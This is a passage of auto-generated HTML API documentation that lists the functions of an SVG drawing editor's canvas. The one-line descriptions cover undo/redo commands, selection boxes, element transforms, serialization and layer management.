class=SDescription>Converts characters in a string to XML-friendly entities.</td></tr><tr class="SFunction SIndent1"><td class=SEntry><a href="#SvgCanvas.Utils.fromXml" >Utils.<wbr>fromXml</a></td><td class=SDescription>Converts XML entities in a string to single characters. </td></tr><tr class="SFunction SIndent1 SMarked"><td class=SEntry><a href="#SvgCanvas.Utils.encode64" >Utils.<wbr>encode64</a></td><td class=SDescription>Converts a string to base64</td></tr><tr class="SFunction SIndent1"><td class=SEntry><a href="#SvgCanvas.Utils.decode64" >Utils.<wbr>decode64</a></td><td class=SDescription>Converts a string from base64</td></tr><tr class="SFunction SIndent1 SMarked"><td class=SEntry><a href="#SvgCanvas.Utils.convertToXMLReferences" >Utils.<wbr>convertToXMLReferences</a></td><td class=SDescription>Converts a string to use XML references</td></tr><tr class="SFunction SIndent1"><td class=SEntry><a href="#SvgCanvas.rectsIntersect" id=link1 onMouseOver="ShowTip(event, 'tt1', 'link1')" onMouseOut="HideTip('tt1')">rectsIntersect</a></td><td class=SDescription>Check if two rectangles (BBoxes objects) intersect each other</td></tr><tr class="SFunction SIndent1 SMarked"><td class=SEntry><a href="#SvgCanvas.snapToAngle" id=link2 onMouseOver="ShowTip(event, 'tt2', 'link2')" onMouseOut="HideTip('tt2')">snapToAngle</a></td><td class=SDescription>Returns a 45 degree angle coordinate associated with the two given coordinates</td></tr><tr class="SFunction SIndent1"><td class=SEntry><a href="#SvgCanvas.text2xml" id=link3 onMouseOver="ShowTip(event, 'tt3', 'link3')" onMouseOut="HideTip('tt3')">text2xml</a></td><td class=SDescription>Cross-browser compatible method of converting a string to an XML tree found this function here: <a href="http://groups.google.com/group/jquery-dev/browse_thread/thread/c6d11387c580a77f" class=LURL target=_top>http://groups.google.com<wbr>/group<wbr>/jquery-dev<wbr>/browse_thread<wbr>/thread<wbr>/c6d11387c580a77f</a></td></tr><tr class="SGroup SIndent1"><td class=SEntry><a href="#SvgCanvas.Unit_conversion_functions" >Unit conversion functions</a></td><td class=SDescription></td></tr><tr class="SFunction SIndent2 SMarked"><td class=SEntry><a href="#SvgCanvas.convertToNum" id=link4 onMouseOver="ShowTip(event, 'tt4', 'link4')" onMouseOut="HideTip('tt4')">convertToNum</a></td><td class=SDescription>Converts given values to numbers. </td></tr><tr class="SFunction SIndent2"><td class=SEntry><a href="#SvgCanvas.setUnitAttr" id=link5 onMouseOver="ShowTip(event, 'tt5', 'link5')" onMouseOut="HideTip('tt5')">setUnitAttr</a></td><td class=SDescription>Sets an element&rsquo;s attribute based on the unit in its current value.</td></tr><tr class="SFunction SIndent2 SMarked"><td class=SEntry><a href="#SvgCanvas.isValidUnit" id=link6 onMouseOver="ShowTip(event, 'tt6', 'link6')" onMouseOut="HideTip('tt6')">isValidUnit</a></td><td class=SDescription>Check if an attribute&rsquo;s value is in a valid format</td></tr><tr class="SGroup SIndent1"><td class=SEntry><a href="#SvgCanvas.Undo/Redo_history_management" >Undo/<wbr>Redo history management</a></td><td class=SDescription></td></tr><tr class="SFunction SIndent2 SMarked"><td class=SEntry><a href="#SvgCanvas.ChangeElementCommand" id=link7 onMouseOver="ShowTip(event, 'tt7', 'link7')" onMouseOut="HideTip('tt7')">ChangeElementCommand</a></td><td class=SDescription>History command to make a change to an element. </td></tr><tr class="SFunction SIndent2"><td class=SEntry><a href="#SvgCanvas.ChangeElementCommand.apply" >ChangeElementCommand.<wbr>apply</a></td><td class=SDescription>Performs the stored change action</td></tr><tr class="SFunction SIndent2 SMarked"><td class=SEntry><a href="#SvgCanvas.ChangeElementCommand.unapply" >ChangeElementCommand.<wbr>unapply</a></td><td class=SDescription>Reverses the stored change action</td></tr><tr class="SFunction SIndent2"><td class=SEntry><a href="#SvgCanvas.ChangeElementCommand.elements" >ChangeElementCommand.<wbr>elements</a></td><td class=SDescription>Returns array with element associated with this command</td></tr><tr class="SFunction SIndent2 SMarked"><td class=SEntry><a href="#SvgCanvas.InsertElementCommand" id=link8 onMouseOver="ShowTip(event, 'tt8', 'link8')" onMouseOut="HideTip('tt8')">InsertElementCommand</a></td><td class=SDescription>History command for an element that was added to the DOM</td></tr><tr class="SFunction SIndent2"><td class=SEntry><a href="#SvgCanvas.InsertElementCommand.apply" >InsertElementCommand.<wbr>apply</a></td><td class=SDescription>Re-Inserts the new element</td></tr><tr class="SFunction SIndent2 SMarked"><td class=SEntry><a href="#SvgCanvas.InsertElementCommand.unapply" >InsertElementCommand.<wbr>unapply</a></td><td class=SDescription>Removes the element</td></tr><tr class="SFunction SIndent2"><td class=SEntry><a href="#SvgCanvas.InsertElementCommand.elements" >InsertElementCommand.<wbr>elements</a></td><td class=SDescription>Returns array with element associated with this command</td></tr><tr class="SFunction SIndent2 SMarked"><td class=SEntry><a href="#SvgCanvas.RemoveElementCommand" id=link9 onMouseOver="ShowTip(event, 'tt9', 'link9')" onMouseOut="HideTip('tt9')">RemoveElementCommand</a></td><td class=SDescription>History command for an element removed from the DOM</td></tr><tr class="SFunction SIndent2"><td class=SEntry><a href="#SvgCanvas.RemoveElementCommand.apply" >RemoveElementCommand.<wbr>apply</a></td><td class=SDescription>Re-removes the new element</td></tr><tr class="SFunction SIndent2 SMarked"><td class=SEntry><a href="#SvgCanvas.RemoveElementCommand.unapply" >RemoveElementCommand.<wbr>unapply</a></td><td class=SDescription>Re-adds the new element</td></tr><tr class="SFunction SIndent2"><td class=SEntry><a href="#SvgCanvas.RemoveElementCommand.elements" >RemoveElementCommand.<wbr>elements</a></td><td class=SDescription>Returns array with element associated with this command</td></tr><tr class="SFunction SIndent2 SMarked"><td class=SEntry><a href="#SvgCanvas.MoveElementCommand" id=link10 onMouseOver="ShowTip(event, 'tt10', 'link10')" onMouseOut="HideTip('tt10')">MoveElementCommand</a></td><td class=SDescription>History command for an element that had its DOM position changed</td></tr><tr class="SFunction SIndent2"><td class=SEntry><a href="#SvgCanvas.MoveElementCommand.unapply" >MoveElementCommand.<wbr>unapply</a></td><td class=SDescription>Re-positions the element</td></tr><tr class="SFunction SIndent2 SMarked"><td class=SEntry><a href="#SvgCanvas.MoveElementCommand.unapply" >MoveElementCommand.<wbr>unapply</a></td><td class=SDescription>Positions the element back to its original location</td></tr><tr class="SFunction SIndent2"><td class=SEntry><a href="#SvgCanvas.MoveElementCommand.elements" >MoveElementCommand.<wbr>elements</a></td><td class=SDescription>Returns array with element associated with this command</td></tr><tr class="SFunction SIndent2 SMarked"><td class=SEntry><a href="#SvgCanvas.BatchCommand" id=link11 onMouseOver="ShowTip(event, 'tt11', 'link11')" onMouseOut="HideTip('tt11')">BatchCommand</a></td><td class=SDescription>History command that can contain/execute multiple other commands</td></tr><tr class="SFunction SIndent2"><td class=SEntry><a href="#SvgCanvas.BatchCommand.apply" >BatchCommand.<wbr>apply</a></td><td class=SDescription>Runs &ldquo;apply&rdquo; on all subcommands</td></tr><tr class="SFunction SIndent2 SMarked"><td class=SEntry><a href="#SvgCanvas.BatchCommand.unapply" >BatchCommand.<wbr>unapply</a></td><td class=SDescription>Runs &ldquo;unapply&rdquo; on all subcommands</td></tr><tr class="SFunction SIndent2"><td class=SEntry><a href="#SvgCanvas.BatchCommand.elements" >BatchCommand.<wbr>elements</a></td><td class=SDescription>Iterate through all our subcommands and returns all the elements we are changing</td></tr><tr class="SFunction SIndent2 SMarked"><td class=SEntry><a href="#SvgCanvas.BatchCommand.addSubCommand" >BatchCommand.<wbr>addSubCommand</a></td><td class=SDescription>Adds a given command to the history stack</td></tr><tr class="SFunction SIndent2"><td class=SEntry><a href="#SvgCanvas.BatchCommand.isEmpty" >BatchCommand.<wbr>isEmpty</a></td><td class=SDescription>Returns a boolean indicating whether or not the batch command is empty</td></tr><tr class="SFunction SIndent2 SMarked"><td class=SEntry><a href="#SvgCanvas.resetUndoStack" id=link12 onMouseOver="ShowTip(event, 'tt12', 'link12')" onMouseOut="HideTip('tt12')">resetUndoStack</a></td><td class=SDescription>Resets the undo stack, effectively clearing the undo/redo history</td></tr><tr class="SFunction SIndent2"><td class=SEntry><a href="#SvgCanvas.undoMgr.getUndoStackSize" >undoMgr.<wbr>getUndoStackSize</a></td><td class=SDescription>Integer with the current size of the undo history stack</td></tr><tr class="SFunction SIndent2 SMarked"><td class=SEntry><a href="#SvgCanvas.undoMgr.getRedoStackSize" >undoMgr.<wbr>getRedoStackSize</a></td><td class=SDescription>Integer with the current size of the redo history stack</td></tr><tr class="SFunction SIndent2"><td class=SEntry><a href="#SvgCanvas.undoMgr.getNextUndoCommandText" >undoMgr.<wbr>getNextUndoCommandText</a></td><td class=SDescription>String associated with the next undo command</td></tr><tr class="SFunction SIndent2 SMarked"><td class=SEntry><a href="#SvgCanvas.undoMgr.getNextRedoCommandText" >undoMgr.<wbr>getNextRedoCommandText</a></td><td class=SDescription>String associated with the next redo command</td></tr><tr class="SFunction SIndent2"><td class=SEntry><a href="#SvgCanvas.undoMgr.undo" >undoMgr.undo</a></td><td class=SDescription>Performs an undo step</td></tr><tr class="SFunction SIndent2 SMarked"><td class=SEntry><a href="#SvgCanvas.undoMgr.redo" >undoMgr.redo</a></td><td class=SDescription>Performs a redo step</td></tr><tr class="SFunction SIndent2"><td class=SEntry><a href="#SvgCanvas.addCommandToHistory" id=link13 onMouseOver="ShowTip(event, 'tt13', 'link13')" onMouseOut="HideTip('tt13')">addCommandToHistory</a></td><td class=SDescription>Adds a command object to the undo history stack</td></tr><tr class="SFunction SIndent2 SMarked"><td class=SEntry><a href="#SvgCanvas.beginUndoableChange" id=link14 onMouseOver="ShowTip(event, 'tt14', 'link14')" onMouseOut="HideTip('tt14')">beginUndoableChange</a></td><td class=SDescription>This function tells the canvas to remember the old values of the attrName attribute for each element sent in. </td></tr><tr class="SFunction SIndent2"><td class=SEntry><a href="#SvgCanvas.finishUndoableChange" id=link15 onMouseOver="ShowTip(event, 'tt15', 'link15')" onMouseOut="HideTip('tt15')">finishUndoableChange</a></td><td class=SDescription>This function returns a BatchCommand object which summarizes the change since beginUndoableChange was called. </td></tr><tr class="SInterface"><td class=SEntry><a href="#Selector" >Selector</a></td><td class=SDescription>Private class for DOM element selection boxes</td></tr><tr class="SGroup SIndent1"><td class=SEntry><a href="#Selector.Functions" >Functions</a></td><td class=SDescription></td></tr><tr class="SFunction SIndent2 SMarked"><td class=SEntry><a href="#Selector.Selector.reset" >Selector.<wbr>reset</a></td><td class=SDescription>Used to reset the id and element that the selector is attached to</td></tr><tr class="SFunction SIndent2"><td class=SEntry><a href="#Selector.Selector.showGrips" >Selector.<wbr>showGrips</a></td><td class=SDescription>Show the resize grips of this selector</td></tr><tr class="SFunction SIndent2 SMarked"><td class=SEntry><a href="#Selector.Selector.updateGripCursors" >Selector.<wbr>updateGripCursors</a></td><td class=SDescription>Updates cursors for corner grips on rotation so arrows point the right way</td></tr><tr class="SFunction SIndent2"><td class=SEntry><a href="#Selector.Selector.resize" >Selector.<wbr>resize</a></td><td class=SDescription>Updates the selector to match the element&rsquo;s size</td></tr><tr class="SInterface"><td class=SEntry><a href="#SelectorManager" >SelectorManager</a></td><td class=SDescription>Public class to manage all selector objects (selection boxes)</td></tr><tr class="SFunction SIndent1 SMarked"><td class=SEntry><a href="#SelectorManager.SelectorManager.initGroup" >SelectorManager.<wbr>initGroup</a></td><td class=SDescription>Resets the parent selector group element</td></tr><tr class="SFunction SIndent1"><td class=SEntry><a href="#SelectorManager.SelectorManager.requestSelector" >SelectorManager.<wbr>requestSelector</a></td><td class=SDescription>Returns the selector based on the given element</td></tr><tr class="SFunction SIndent1 SMarked"><td class=SEntry><a href="#SelectorManager.SelectorManager.releaseSelector" >SelectorManager.<wbr>releaseSelector</a></td><td class=SDescription>Removes the selector of the given element (hides selection box)</td></tr><tr class="SFunction SIndent1"><td class=SEntry><a href="#SelectorManager.SelectorManager.getRubberBandBox" >SelectorManager.<wbr>getRubberBandBox</a></td><td class=SDescription>Returns the rubberBandBox DOM element. </td></tr><tr class="SGroup SIndent1"><td class=SEntry><a href="#SelectorManager.Helper_functions" >Helper functions</a></td><td class=SDescription></td></tr><tr class="SFunction SIndent2 SMarked"><td class=SEntry><a href="#SelectorManager.walkTree" id=link16 onMouseOver="ShowTip(event, 'tt16', 'link16')" onMouseOut="HideTip('tt16')">walkTree</a></td><td class=SDescription>Walks the tree and executes the callback on each element in a top-down fashion</td></tr><tr class="SFunction SIndent2"><td class=SEntry><a href="#SelectorManager.walkTreePost" id=link17 onMouseOver="ShowTip(event, 'tt17', 'link17')" onMouseOut="HideTip('tt17')">walkTreePost</a></td><td class=SDescription>Walks the tree and executes the callback on each element in a depth-first fashion</td></tr><tr class="SFunction SIndent2 SMarked"><td class=SEntry><a href="#SelectorManager.assignAttributes" id=link18 onMouseOver="ShowTip(event, 'tt18', 'link18')" onMouseOut="HideTip('tt18')">assignAttributes</a></td><td class=SDescription>Assigns multiple attributes to an element.</td></tr><tr class="SFunction SIndent2"><td class=SEntry><a href="#SelectorManager.cleanupElement" id=link19 onMouseOver="ShowTip(event, 'tt19', 'link19')" onMouseOut="HideTip('tt19')">cleanupElement</a></td><td class=SDescription>Remove unneeded (default) attributes, makes resulting SVG smaller</td></tr><tr class="SFunction SIndent2 SMarked"><td class=SEntry><a href="#SelectorManager.addSvgElementFromJson" id=link20 onMouseOver="ShowTip(event, 'tt20', 'link20')" onMouseOut="HideTip('tt20')">addSvgElementFromJson</a></td><td class=SDescription>Create a new SVG element based on the given object keys/values and add it to the current layer The element will be ran through cleanupElement before being returned</td></tr><tr class="SFunction SIndent2"><td class=SEntry><a href="#SelectorManager.addExtension" id=link21 onMouseOver="ShowTip(event, 'tt21', 'link21')" onMouseOut="HideTip('tt21')">addExtension</a></td><td class=SDescription>Add an extension to the editor</td></tr><tr class="SFunction SIndent2 SMarked"><td class=SEntry><a href="#SelectorManager.shortFloat" id=link22 onMouseOver="ShowTip(event, 'tt22', 'link22')" onMouseOut="HideTip('tt22')">shortFloat</a></td><td class=SDescription>Rounds a given value to a float with number of digits defined in save_options</td></tr><tr class="SFunction SIndent2"><td class=SEntry><a href="#SelectorManager.getStrokedBBox" id=link23 onMouseOver="ShowTip(event, 'tt23', 'link23')" onMouseOut="HideTip('tt23')">getStrokedBBox</a></td><td class=SDescription>Get the bounding box for one or more stroked and/or transformed elements</td></tr><tr class="SFunction SIndent2 SMarked"><td class=SEntry><a href="#SelectorManager.getVisibleElements" id=link24 onMouseOver="ShowTip(event, 'tt24', 'link24')" onMouseOut="HideTip('tt24')">getVisibleElements</a></td><td class=SDescription>Get all elements that have a BBox (excludes &lt;defs&gt;, &lt;title&gt;, etc). </td></tr><tr class="SFunction SIndent2"><td class=SEntry><a href="#SelectorManager.copyElem" id=link25 onMouseOver="ShowTip(event, 'tt25', 'link25')" onMouseOut="HideTip('tt25')">copyElem</a></td><td class=SDescription>Create a clone of an element, updating its ID and its children&rsquo;s IDs when needed</td></tr><tr class="SFunction SIndent2 SMarked"><td class=SEntry><a href="#SelectorManager.getElem" id=link26 onMouseOver="ShowTip(event, 'tt26', 'link26')" onMouseOut="HideTip('tt26')">getElem</a></td><td class=SDescription>Get a DOM element by ID within the SVG root element.</td></tr><tr class="SFunction SIndent2"><td class=SEntry><a href="#SelectorManager.getId" id=link27 onMouseOver="ShowTip(event, 'tt27', 'link27')" onMouseOut="HideTip('tt27')">getId</a></td><td class=SDescription>Returns the last created DOM element ID string</td></tr><tr class="SFunction SIndent2 SMarked"><td class=SEntry><a href="#SelectorManager.getNextId" id=link28 onMouseOver="ShowTip(event, 'tt28', 'link28')" onMouseOut="HideTip('tt28')">getNextId</a></td><td class=SDescription>Creates and returns a unique ID string for a DOM element</td></tr><tr class="SFunction SIndent2"><td class=SEntry><a href="#SelectorManager.bind" id=link29 onMouseOver="ShowTip(event, 'tt29', 'link29')" onMouseOut="HideTip('tt29')">bind</a></td><td class=SDescription>Attaches a callback function to an event</td></tr><tr class="SFunction SIndent2 SMarked"><td class=SEntry><a href="#SelectorManager.setIdPrefix" id=link30 onMouseOver="ShowTip(event, 'tt30', 'link30')" onMouseOut="HideTip('tt30')">setIdPrefix</a></td><td class=SDescription>Changes the ID prefix to the given value</td></tr><tr class="SFunction SIndent2"><td class=SEntry><a href="#SelectorManager.sanitizeSvg" id=link31 onMouseOver="ShowTip(event, 'tt31', 'link31')" onMouseOut="HideTip('tt31')">sanitizeSvg</a></td><td class=SDescription>Sanitizes the input node and its children It only keeps what is allowed from our whitelist defined above</td></tr><tr class="SFunction SIndent2 SMarked"><td class=SEntry><a href="#SelectorManager.getUrlFromAttr" id=link32 onMouseOver="ShowTip(event, 'tt32', 'link32')" onMouseOut="HideTip('tt32')">getUrlFromAttr</a></td><td class=SDescription>Extracts the URL from the url(...)</td></tr><tr class="SFunction SIndent2"><td class=SEntry><a href="#SelectorManager.getBBox" id=link33 onMouseOver="ShowTip(event, 'tt33', 'link33')" onMouseOut="HideTip('tt33')">getBBox</a></td><td class=SDescription>Get the given/selected element&rsquo;s bounding box object, convert it to be more usable when necessary</td></tr><tr class="SFunction SIndent2 SMarked"><td class=SEntry><a href="#SelectorManager.ffClone" id=link34 onMouseOver="ShowTip(event, 'tt34', 'link34')" onMouseOut="HideTip('tt34')">ffClone</a></td><td class=SDescription>Hack for Firefox bugs where text element features aren&rsquo;t updated. </td></tr><tr class="SFunction SIndent2"><td class=SEntry><a href="#SelectorManager.getPathBBox" id=link35 onMouseOver="ShowTip(event, 'tt35', 'link35')" onMouseOut="HideTip('tt35')">getPathBBox</a></td><td class=SDescription>Get correct BBox for a path in Webkit Converted from code found here: <a href="http://blog.hackers-cafe.net/2009/06/how-to-calculate-bezier-curves-bounding.html" class=LURL target=_top>http://blog.hackers-cafe.net<wbr>/2009<wbr>/06<wbr>/how-to-calculate-bezier-curves-bounding.html</a></td></tr><tr class="SGroup SIndent1"><td class=SEntry><a href="#SelectorManager.Element_Transforms" >Element Transforms</a></td><td class=SDescription></td></tr><tr class="SFunction SIndent2 SMarked"><td class=SEntry><a href="#SelectorManager.getRotationAngle" id=link36 onMouseOver="ShowTip(event, 'tt36', 'link36')" onMouseOut="HideTip('tt36')">getRotationAngle</a></td><td class=SDescription>Get the rotation angle of the given/selected DOM element</td></tr><tr class="SFunction SIndent2"><td class=SEntry><a href="#SelectorManager.setRotationAngle" id=link37 onMouseOver="ShowTip(event, 'tt37', 'link37')" onMouseOut="HideTip('tt37')">setRotationAngle</a></td><td class=SDescription>Removes any old rotations if present, prepends a new rotation at the transformed center</td></tr><tr class="SFunction SIndent2 SMarked"><td class=SEntry><a href="#SelectorManager.getTransformList" id=link38 onMouseOver="ShowTip(event, 'tt38', 'link38')" onMouseOut="HideTip('tt38')">getTransformList</a></td><td class=SDescription>Returns an object that behaves like a SVGTransformList for the given DOM element</td></tr><tr class="SFunction SIndent2"><td class=SEntry><a href="#SelectorManager.recalculateAllSelectedDimensions" id=link39 onMouseOver="ShowTip(event, 'tt39', 'link39')" onMouseOut="HideTip('tt39')">recalculateAllSelectedDimensions</a></td><td class=SDescription>Runs recalculateDimensions on the selected elements, adding the changes to a single batch command</td></tr><tr class="SFunction SIndent2 SMarked"><td class=SEntry><a href="#SelectorManager.remapElement" id=link40 onMouseOver="ShowTip(event, 'tt40', 'link40')" onMouseOut="HideTip('tt40')">remapElement</a></td><td class=SDescription>Applies coordinate changes to an element based on the given matrix</td></tr><tr class="SFunction SIndent2"><td class=SEntry><a href="#SelectorManager.recalculateDimensions" id=link41 onMouseOver="ShowTip(event, 'tt41', 'link41')" onMouseOut="HideTip('tt41')">recalculateDimensions</a></td><td class=SDescription>Decides the course of action based on the element&rsquo;s transform list</td></tr><tr class="SFunction SIndent2 SMarked"><td class=SEntry><a href="#SelectorManager.transformPoint" id=link42 onMouseOver="ShowTip(event, 'tt42', 'link42')" onMouseOut="HideTip('tt42')">transformPoint</a></td><td class=SDescription>A (hopefully) quicker function to transform a point by a matrix (this function avoids any DOM calls and just does the math)</td></tr><tr class="SFunction SIndent2"><td class=SEntry><a href="#SelectorManager.isIdentity" id=link43 onMouseOver="ShowTip(event, 'tt43', 'link43')" onMouseOut="HideTip('tt43')">isIdentity</a></td><td class=SDescription>Helper function to check if the matrix performs no actual transform (i.e. </td></tr><tr class="SFunction SIndent2 SMarked"><td class=SEntry><a href="#SelectorManager.matrixMultiply" id=link44 onMouseOver="ShowTip(event, 'tt44', 'link44')" onMouseOut="HideTip('tt44')">matrixMultiply</a></td><td class=SDescription>This function tries to return a SVGMatrix that is the multiplication m1*m2. </td></tr><tr class="SFunction SIndent2"><td class=SEntry><a href="#SelectorManager.transformListToTransform" id=link45 onMouseOver="ShowTip(event, 'tt45', 'link45')" onMouseOut="HideTip('tt45')">transformListToTransform</a></td><td class=SDescription>This returns a single matrix Transform for a given Transform List (this is the equivalent of SVGTransformList.consolidate() but unlike that method, this one does not modify the actual SVGTransformList) This function is very liberal with its min,max arguments</td></tr><tr class="SFunction SIndent2 SMarked"><td class=SEntry><a href="#SelectorManager.hasMatrixTransform" id=link46 onMouseOver="ShowTip(event, 'tt46', 'link46')" onMouseOut="HideTip('tt46')">hasMatrixTransform</a></td><td class=SDescription>See if the given transformlist includes a non-indentity matrix transform</td></tr><tr class="SFunction SIndent2"><td class=SEntry><a href="#SelectorManager.getMatrix" id=link47 onMouseOver="ShowTip(event, 'tt47', 'link47')" onMouseOut="HideTip('tt47')">getMatrix</a></td><td class=SDescription>Get the matrix object for a given element</td></tr><tr class="SFunction SIndent2 SMarked"><td class=SEntry><a href="#SelectorManager.transformBox" id=link48 onMouseOver="ShowTip(event, 'tt48', 'link48')" onMouseOut="HideTip('tt48')">transformBox</a></td><td class=SDescription>Transforms a rectangle based on the given matrix</td></tr><tr class="SGroup SIndent1"><td class=SEntry><a href="#SelectorManager.Selection" >Selection</a></td><td class=SDescription></td></tr><tr class="SFunction SIndent2 SMarked"><td class=SEntry><a href="#SelectorManager.clearSelection" id=link49 onMouseOver="ShowTip(event, 'tt49', 'link49')" onMouseOut="HideTip('tt49')">clearSelection</a></td><td class=SDescription>Clears the selection. </td></tr><tr class="SFunction SIndent2"><td class=SEntry><a href="#SelectorManager.addToSelection" id=link50 onMouseOver="ShowTip(event, 'tt50', 'link50')" onMouseOut="HideTip('tt50')">addToSelection</a></td><td class=SDescription>Adds a list of elements to the selection. </td></tr><tr class="SFunction SIndent2 SMarked"><td class=SEntry><a href="#SelectorManager.removeFromSelection" id=link51 onMouseOver="ShowTip(event, 'tt51', 'link51')" onMouseOut="HideTip('tt51')">removeFromSelection</a></td><td class=SDescription>Removes elements from the selection.</td></tr><tr class="SFunction SIndent2"><td class=SEntry><a href="#SelectorManager.selectAllInCurrentLayer" id=link52 onMouseOver="ShowTip(event, 'tt52', 'link52')" onMouseOut="HideTip('tt52')">selectAllInCurrentLayer</a></td><td class=SDescription>Clears the selection, then adds all elements in the current layer to the selection. </td></tr><tr class="SFunction SIndent2 SMarked"><td class=SEntry><a href="#SelectorManager.smoothControlPoints" id=link53 onMouseOver="ShowTip(event, 'tt53', 'link53')" onMouseOut="HideTip('tt53')">smoothControlPoints</a></td><td class=SDescription>Takes three points and creates a smoother line based on them</td></tr><tr class="SFunction SIndent2"><td class=SEntry><a href="#SelectorManager.getMouseTarget" id=link54 onMouseOver="ShowTip(event, 'tt54', 'link54')" onMouseOut="HideTip('tt54')">getMouseTarget</a></td><td class=SDescription>Gets the desired element from a mouse event</td></tr><tr class="SFunction SIndent2 SMarked"><td class=SEntry><a href="#SelectorManager.preventClickDefault" id=link55 onMouseOver="ShowTip(event, 'tt55', 'link55')" onMouseOut="HideTip('tt55')">preventClickDefault</a></td><td class=SDescription>Prevents default browser click behaviour on the given element</td></tr><tr class="SGroup SIndent1"><td class=SEntry><a href="#SelectorManager.Text_edit_functions" >Text edit functions</a></td><td class=SDescription>Functions relating to editing text elements</td></tr><tr class="SGroup SIndent1"><td class=SEntry><a href="#SelectorManager.Path_edit_functions" >Path edit functions</a></td><td class=SDescription>Functions relating to editing path elements</td></tr><tr class="SGroup SIndent1"><td class=SEntry><a href="#SelectorManager.Serialization" >Serialization</a></td><td class=SDescription></td></tr><tr class="SFunction SIndent2 SMarked"><td class=SEntry><a href="#SelectorManager.removeUnusedDefElems" id=link56 onMouseOver="ShowTip(event, 'tt56', 'link56')" onMouseOut="HideTip('tt56')">removeUnusedDefElems</a></td><td class=SDescription>Looks at DOM elements inside the &lt;defs&gt; to see if they are referred to, removes them from the DOM if they are not.</td></tr><tr class="SFunction SIndent2"><td class=SEntry><a href="#SelectorManager.svgCanvasToString" id=link57 onMouseOver="ShowTip(event, 'tt57', 'link57')" onMouseOut="HideTip('tt57')">svgCanvasToString</a></td><td class=SDescription>Main function to set up the SVG content for output</td></tr><tr class="SFunction SIndent2 SMarked"><td class=SEntry><a href="#SelectorManager.svgToString" id=link58 onMouseOver="ShowTip(event, 'tt58', 'link58')" onMouseOut="HideTip('tt58')">svgToString</a></td><td class=SDescription>Sub function ran on each SVG element to convert it to a string as desired</td></tr><tr class="SFunction SIndent2"><td class=SEntry><a href="#SelectorManager.embedImage" id=link59 onMouseOver="ShowTip(event, 'tt59', 'link59')" onMouseOut="HideTip('tt59')">embedImage</a></td><td class=SDescription>Converts a given image file to a data URL when possible, then runs a given callback</td></tr><tr class="SFunction SIndent2 SMarked"><td class=SEntry><a href="#SelectorManager.save" id=link60 onMouseOver="ShowTip(event, 'tt60', 'link60')" onMouseOut="HideTip('tt60')">save</a></td><td class=SDescription>Serializes the current drawing into SVG XML text and returns it to the &lsquo;saved&rsquo; handler. </td></tr><tr class="SFunction SIndent2"><td class=SEntry><a href="#SelectorManager.rasterExport" id=link61 onMouseOver="ShowTip(event, 'tt61', 'link61')" onMouseOut="HideTip('tt61')">rasterExport</a></td><td class=SDescription>Generates a PNG Data URL based on the current image, then calls &ldquo;exported&rdquo; with an object including the string and any issues found</td></tr><tr class="SFunction SIndent2 SMarked"><td class=SEntry><a href="#SelectorManager.getSvgString" id=link62 onMouseOver="ShowTip(event, 'tt62', 'link62')" onMouseOut="HideTip('tt62')">getSvgString</a></td><td class=SDescription>Returns the current drawing as raw SVG XML text.</td></tr><tr class="SFunction SIndent2"><td class=SEntry><a href="#SelectorManager.setSvgString" id=link63 onMouseOver="ShowTip(event, 'tt63', 'link63')" onMouseOut="HideTip('tt63')">setSvgString</a></td><td class=SDescription>This function sets the current drawing as the input SVG XML.</td></tr><tr class="SFunction SIndent2 SMarked"><td class=SEntry><a href="#SelectorManager.importSvgString" id=link64 onMouseOver="ShowTip(event, 'tt64', 'link64')" onMouseOut="HideTip('tt64')">importSvgString</a></td><td class=SDescription>This function imports the input SVG XML into the current layer in the drawing</td></tr><tr class="SGroup SIndent1"><td class=SEntry><a href="#SelectorManager.Layers" >Layers</a></td><td class=SDescription></td></tr><tr class="SFunction SIndent2 SMarked"><td class=SEntry><a href="#SelectorManager.identifyLayers" id=link65 onMouseOver="ShowTip(event, 'tt65', 'link65')" onMouseOut="HideTip('tt65')">identifyLayers</a></td><td class=SDescription>Updates layer system</td></tr><tr class="SFunction SIndent2"><td class=SEntry><a href="#SelectorManager.createLayer" id=link66 onMouseOver="ShowTip(event, 'tt66', 'link66')" onMouseOut="HideTip('tt66')">createLayer</a></td><td class=SDescription>Creates a new top-level layer in the drawing with the given name, sets the current layer to it, and then clears the selection  This function then calls the &lsquo;changed&rsquo; handler. </td></tr><tr class="SFunction SIndent2 SMarked"><td class=SEntry><a href="#SelectorManager.deleteCurrentLayer" id=link67 onMouseOver="ShowTip(event, 'tt67', 'link67')" onMouseOut="HideTip('tt67')">deleteCurrentLayer</a></td><td class=SDescription>Deletes the current layer from the drawing and then clears the selection. </td></tr><tr class="SFunction SIndent2"><td class=SEntry><a href="#SelectorManager.getNumLayers" id=link68 onMouseOver="ShowTip(event, 'tt68', 'link68')" onMouseOut="HideTip('tt68')">getNumLayers</a></td><td class=SDescription>Returns the number of layers in the current drawing.</td></tr><tr class="SFunction SIndent2 SMarked"><td class=SEntry><a href="#SelectorManager.getLayer" id=link69 onMouseOver="ShowTip(event, 'tt69', 'link69')" onMouseOut="HideTip('tt69')">getLayer</a></td><td class=SDescription>Returns the name of the ith layer. </td></tr><tr class="SFunction SIndent2"><td class=SEntry><a href="#SelectorManager.getCurrentLayer" id=link70 onMouseOver="ShowTip(event, 'tt70', 'link70')" onMouseOut="HideTip('tt70')">getCurrentLayer</a></td><td class=SDescription>Returns the name of the currently selected layer. </td></tr><tr class="SFunction SIndent2 SMarked"><td class=SEntry><a href="#SelectorManager.setCurrentLayer" id=link71 onMouseOver="ShowTip(event, 'tt71', 'link71')" onMouseOut="HideTip('tt71')">setCurrentLayer</a></td><td class=SDescription>Sets the current layer. </td></tr><tr class="SFunction SIndent2"><td class=SEntry><a href="#SelectorManager.renameCurrentLayer" id=link72 onMouseOver="ShowTip(event, 'tt72', 'link72')" onMouseOut="HideTip('tt72')">renameCurrentLayer</a></td><td class=SDescription>Renames the current layer. </td></tr><tr class="SFunction SIndent2 SMarked"><td class=SEntry><a href="#SelectorManager.setCurrentLayerPosition" id=link73 onMouseOver="ShowTip(event, 'tt73', 'link73')" onMouseOut="HideTip('tt73')">setCurrentLayerPosition</a></td><td class=SDescription>Changes the position of the current layer to the new value. </td></tr><tr class="SFunction SIndent2"><td class=SEntry><a href="#SelectorManager.getLayerVisibility" id=link74 onMouseOver="ShowTip(event, 'tt74', 'link74')" onMouseOut="HideTip('tt74')">getLayerVisibility</a></td><td class=SDescription>Returns whether the layer is visible. </td></tr><tr class="SFunction SIndent2 SMarked"><td class=SEntry><a href="#SelectorManager.setLayerVisibility" id=link75 onMouseOver="ShowTip(event, 'tt75', 'link75')" onMouseOut="HideTip('tt75')">setLayerVisibility</a></td><td class=SDescription>Sets the visibility of the layer. 